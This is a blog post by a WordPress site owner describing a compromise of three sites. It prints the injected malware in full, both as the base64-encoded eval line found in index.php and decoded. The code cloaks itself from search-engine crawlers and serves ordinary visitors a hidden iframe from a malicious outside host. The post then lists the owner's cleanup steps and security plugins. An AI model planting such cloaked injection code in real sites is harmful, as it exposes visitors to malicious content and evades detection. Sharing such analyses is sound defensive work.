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my wordpress sites were hacked: eval base64_decode

I maintain three wordpress blogs, all hosted at WebFaction. And suddenly this morning, inside all my index.php the first line looked as follows: [sourcecode language="php"] <?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9')) [/sourcecode] Decoded, it looks as follows: [sourcecode language="php"] error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>'; } [/sourcecode] So, roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure your site will not be blacklisted, but any visitor will still get spammed. Ok. But how to fix this? First thing was easy: just edit the index.php and fix it! Remove the eval-line! Secondly I notified my host of this. One blog was not using the latest version, so i updated that one. I verified the files of all my blogs against the latest version of Wordpress (3.1.3), and they were all identical except for the mentioned index.php. I changed my ssh/ftp password, because if the attacker had access to all three sites, that seemed to the only option. But within two hours the index-files where hacked again. Ok. This was getting serious. I installed the following plugins:

  • BulletProof Security: does a lot to tighten the security of your site, mainly through adding correct .htaccess files (as far as i can tell). I hope it works :)
  • Wordpress File Monitor Plus: checks if any files are tampered with, and will mail me otherwise
  • WP Security Scan: does a standard series of checks (was not very useful), and also provides some tools to check your passwords and migrate your db-prefix.
  • Wordpress File Monitor: will notify me if any of the wordpress files is tampered with. I hope this will prove to be useful in the future. Not sure if it will help me now ...
  • Exploit Scanner: this scans all files and checks for eval and base64_decode. Only my index.php seem to be touched, but a lot of plugins have code that seems fishy, but I think they are not. I am not seeing any obviously wrong code now. So I am still a bit weary how the index.php could get hacked again.
  • AntiVirus: this checks for the permalink backdoor (all my sites were clear), and can check the current theme. This works for all my sites except one (strange!) I also changed my secrets in the wp-config.php. I asked my hoster for the log-files. I hope to see something suspicious there. My index.php have not yet been overwritten again, so I hope this will do. I will keep you posted.
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